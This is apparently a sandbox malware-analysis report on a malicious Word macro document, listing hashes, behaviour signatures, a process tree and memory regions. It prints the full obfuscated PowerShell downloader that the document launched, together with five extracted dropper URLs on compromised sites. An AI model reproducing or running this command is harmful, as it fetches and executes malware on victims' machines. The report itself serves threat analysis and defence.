Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 08:37

General

  • Target

    ce875226228081a3efd7ed41b4597a573b7799c1f38e2853ef6eb51649d5a815.doc

  • Size

    181KB

  • MD5

    e1714e91acd7c82e9d0cfdf537b929fe

  • SHA1

    2a15b3a87b8d7f9d5d593c50b5fdb3877ea38583

  • SHA256

    ce875226228081a3efd7ed41b4597a573b7799c1f38e2853ef6eb51649d5a815

  • SHA512

    c9cd268728f37657c518cc7ddb67521c0a8f3ff12f7ece0f722f3a5a48adcb99ff9a67787ed62303ae8d845365b93572b7bda783d8a46d8ffbaa9ad09a76426f

  • SSDEEP

    3072:9N62y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBU0asiv8Ob7V:9N62k4PF7tGiL3HJk9rD7b0asiv8GZ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ce875226228081a3efd7ed41b4597a573b7799c1f38e2853ef6eb51649d5a815.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1444
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2676

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CCC2BEB5.wmf

      Filesize

      444B

      MD5

      15e129fbeb666969aeacf1c6d065a8e2

      SHA1

      ccda7e8d519815645f0f1642c3e44752a69c0333

      SHA256

      3b4ff2075fa9068551410880c6f607b5896748be9e341cc1ba401066d2e09111

      SHA512

      e58ec16dda56d8643832b62d5c2880cff7e06771f481d14bb12be2940dac280435c7a9a092e6121bec680d94713c3e634d13eb993b4e91bc895d336c4ade67ce

    • memory/1716-21-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-17-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-5-0x00000000066E0000-0x00000000067E0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1716-14-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-13-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-12-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-18-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-22-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-0-0x000000002F0B1000-0x000000002F0B2000-memory.dmp

      Filesize

      4KB

    • memory/1716-2-0x000000007185D000-0x0000000071868000-memory.dmp

      Filesize

      44KB

    • memory/1716-16-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-19-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-15-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-23-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-25-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-41-0x00000000003B0000-0x00000000004B0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-40-0x00000000066E0000-0x00000000067E0000-memory.dmp

      Filesize

      1024KB

    • memory/1716-39-0x000000007185D000-0x0000000071868000-memory.dmp

      Filesize

      44KB

    • memory/2676-32-0x0000000002340000-0x0000000002348000-memory.dmp

      Filesize

      32KB

    • memory/2676-31-0x000000001B7C0000-0x000000001BAA2000-memory.dmp

      Filesize

      2.9MB